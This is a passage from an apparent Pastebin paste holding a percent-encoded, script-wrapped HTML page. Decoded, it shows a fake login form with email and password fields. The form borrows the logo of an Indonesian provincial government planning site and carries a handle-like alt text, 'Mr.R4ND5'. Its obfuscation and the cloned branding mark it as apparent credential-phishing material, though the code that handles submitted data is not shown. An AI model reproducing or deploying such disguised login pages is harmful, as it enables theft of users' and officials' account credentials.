%69%67%6E%3A%20%63%65%6E%74%65%72%3B%0A%09%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%20%61%72%69%61%6C%3B%0A%09%74%65%78%74%2D%74%72%61%6E%73%66%6F%72%6D%3A%20%75%70%70%65%72%63%61%73%65%3B%0A%09%62%6F%72%64%65%72%3A%20%33%70%78%20%73%6F%6C%69%64%20%23%66%31%66%31%66%31%3B%0A%09%70%61%64%64%69%6E%67%3A%20%35%70%78%3B%0A%09%77%69%64%74%68%3A%20%34%39%30%70%78%3B%0A%09%6D%61%72%67%69%6E%3A%20%61%75%74%6F%3B%0A%09%6D%61%72%67%69%6E%2D%62%6F%74%74%6F%6D%3A%20%31%30%70%78%3B%0A%20%20%20%20%6D%61%72%67%69%6E%2D%74%6F%70%3A%20%32%30%70%78%3B%0A%7D%0A%66%6F%72%6D%20%7B%0A%20%20%20%20%62%6F%72%64%65%72%3A%20%33%70%78%20%73%6F%6C%69%64%20%23%66%31%66%31%66%31%3B%0A%20%20%20%20%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%20%61%72%69%61%6C%3B%0A%20%20%20%20%77%69%64%74%68%3A%20%35%30%30%70%78%3B%0A%20%20%20%20%6D%61%72%67%69%6E%3A%20%61%75%74%6F%3B%0A%7D%0A%0A%69%6E%70%75%74%5B%74%79%70%65%3D%65%6D%61%69%6C%5D%2C%20%69%6E%70%75%74%5B%74%79%70%65%3D%70%61%73%73%77%6F%72%64%5D%20%7B%0A%20%20%20%20%77%69%64%74%68%3A%20%31%30%30%25%3B%0A%20%20%20%20%70%61%64%64%69%6E%67%3A%20%31%32%70%78%20%32%30%70%78%3B%0A%20%20%20%20%6D%61%72%67%69%6E%3A%20%38%70%78%20%30%3B%0A%20%20%20%20%64%69%73%70%6C%61%79%3A%20%69%6E%6C%69%6E%65%2D%62%6C%6F%63%6B%3B%0A%20%20%20%20%62%6F%72%64%65%72%3A%20%31%70%78%20%73%6F%6C%69%64%20%23%63%63%63%3B%0A%20%20%20%20%62%6F%78%2D%73%69%7A%69%6E%67%3A%20%62%6F%72%64%65%72%2D%62%6F%78%3B%0A%7D%0A%6C%61%62%65%6C%7B%0A%09%63%6F%6C%6F%72%3A%23%35%30%36%32%36%43%3B%0A%09%74%65%78%74%2D%74%72%61%6E%73%66%6F%72%6D%3A%20%75%70%70%65%72%63%61%73%65%3B%0A%7D%0A%62%75%74%74%6F%6E%20%7B%0A%20%20%20%20%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%20%23%30%34%39%33%37%32%3B%0A%20%20%20%20%63%6F%6C%6F%72%3A%20%77%68%69%74%65%3B%0A%20%20%20%20%70%61%64%64%69%6E%67%3A%20%31%34%70%78%20%32%30%70%78%3B%0A%20%20%20%20%6D%61%72%67%69%6E%3A%20%38%70%78%20%30%3B%0A%20%20%20%20%62%6F%72%64%65%72%3A%20%6E%6F%6E%65%3B%0A%20%20%20%20%63%75%72%73%6F%72%3A%20%70%6F%69%6E%74%65%72%3B%0A%20%20%20%20%77%69%64%74%68%3A%20%31%30%30%25%3B%0A%7D%0A%0A%62%75%74%74%6F%6E%3A%68%6F%76%65%72%20%7B%0A%20%20%20%20%6F%70%61%63%69%74%79%3A%20%30%2E%38%3B%0A%7D%0A%0A%2E%63%61%6E%63%65%6C%62%74%6E%20%7B%0A%20%20%20%20%77%69%64%74%68%3A%20%61%75%74%6F%3B%0A%20%20%20%20%70%61%64%64%69%6E%67%3A%20%31%30%70%78%20%31%38%70%78%3B%0A%20%20%20%20%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%20%23%66%30%33%34%33%34%3B%0A%7D%0A%0A%2E%69%6D%67%63%6F%6E%74%61%69%6E%65%72%20%7B%0A%20%20%20%20%74%65%78%74%2D%61%6C%69%67%6E%3A%20%63%65%6E%74%65%72%3B%0A%20%20%20%20%6D%61%72%67%69%6E%3A%20%32%34%70%78%20%30%20%31%32%70%78%20%30%3B%0A%7D%0A%0A%69%6D%67%2E%61%76%61%74%61%72%20%7B%0A%20%20%20%20%77%69%64%74%68%3A%20%34%30%25%3B%0A%20%20%20%20%62%6F%72%64%65%72%2D%72%61%64%69%75%73%3A%20%35%30%25%3B%0A%7D%0A%0A%2E%63%6F%6E%74%61%69%6E%65%72%20%7B%0A%20%20%20%20%70%61%64%64%69%6E%67%3A%20%31%36%70%78%3B%0A%7D%0A%0A%73%70%61%6E%2E%70%73%77%20%7B%0A%20%20%20%20%66%6C%6F%61%74%3A%20%72%69%67%68%74%3B%0A%20%20%20%20%70%61%64%64%69%6E%67%2D%74%6F%70%3A%20%31%36%70%78%3B%0A%0A%7D%0A%73%70%61%6E%7B%0A%09%63%6F%6C%6F%72%3A%23%35%30%36%32%36%43%3B%0A%7D%0A%0A%40%6D%65%64%69%61%20%73%63%72%65%65%6E%20%61%6E%64%20%28%6D%61%78%2D%77%69%64%74%68%3A%20%33%30%30%70%78%29%20%7B%0A%20%20%20%20%73%70%61%6E%2E%70%73%77%20%7B%0A%20%20%20%20%20%20%20%64%69%73%70%6C%61%79%3A%20%62%6C%6F%63%6B%3B%0A%20%20%20%20%20%20%20%66%6C%6F%61%74%3A%20%6E%6F%6E%65%3B%0A%20%20%20%20%7D%0A%20%20%20%20%2E%63%61%6E%63%65%6C%62%74%6E%20%7B%0A%20%20%20%20%20%20%20%77%69%64%74%68%3A%20%31%30%30%25%3B%0A%20%20%20%20%7D%0A%7D%0A%09%0A%3C%2F%73%74%79%6C%65%3E%0A%3C%62%6F%64%79%3E%0A%3C%68%32%3E%4C%4F%47%49%4E%3C%2F%68%32%3E%0A%0A%3C%66%6F%72%6D%20%65%6E%63%74%79%70%65%3D%22%6D%75%6C%74%69%70%61%72%74%2F%66%6F%72%6D%2D%64%61%74%61%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%0A%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%69%6D%67%63%6F%6E%74%61%69%6E%65%72%22%3E%0A%20%20%20%20%3C%69%6D%67%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%65%70%6C%61%6E%6E%69%6E%67%2E%62%65%6E%67%6B%75%6C%75%70%72%6F%76%2E%67%6F%2E%69%64%2F%32%30%31%38%2F%61%73%73%65%74%73%2F%6C%6F%67%69%6E%2F%69%6D%67%2F%6C%6F%67%69%6E%2E%70%6E%67%22%20%61%6C%74%3D%22%4D%72%2E%52%34%4E%44%35%22%20%63%6C%61%73%73%3D%22%61%76%61%74%61%72%22%3E%0A%20%20%3C%2F%64%69%76%3E%0A%0A%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%63%6F%6E%74%61%69%6E%65%72%22%3E%0A%20%20%20%20%3C%6C%61%62%65%6C%20%66%6F%72%3D%22%70%73%77%22%3E%3C%62%3E%45%6D%61%69%6C%3C%2F%62%3E%3C%2F%6C%61%62%65%6C%3E%0A%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%65%6D%61%69%6C%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%45%6E%74%65%72%20%45%6D%61%69%6C%22%20%6E%61%6D%65%3D%22%70%61%73%73%22%20%69%64%3D%22%70%73%77%22%3E%0A%0A%20%20%20%20%3C%6C%61%62%65%6C%20%66%6F%72%3D%22%69%6D%6C%22%3E%3C%62%3E%50%61%73%73%77%6F%72%64%3C%2F%62%3E%3C%2F%6C%61%62%65%6C%3E%0A%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%70%61%73%73%77%6F%72%64%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%45%6E%74%65%72%20%50%61%73%73%77%6F%72%64%22%20%6E%61%6D%65%3D%22%65%6D%61%69%6C%22%20%72%65%71%75%69%72%65%64%20%69%64%3D%22%69%6D%6C%22%3E%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%3C%62%75%74%74%6F%6E%20%74%79%70%65%3D%22%73%75%62%6D%69%74%22%3E%4D%61%73%75%6B%3C%2F%62%75%74%74%6F%6E%3E%0A%3C%2F%66%6F%72%6D%3E%0A%0A%3C%2F%62%6F%64%79%3E%0A%3C%2F%68%74%6D%6C%3E%0A%3C%2F%68%74%6D%6C%3E'));
  88. //-->
  89. </Script>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!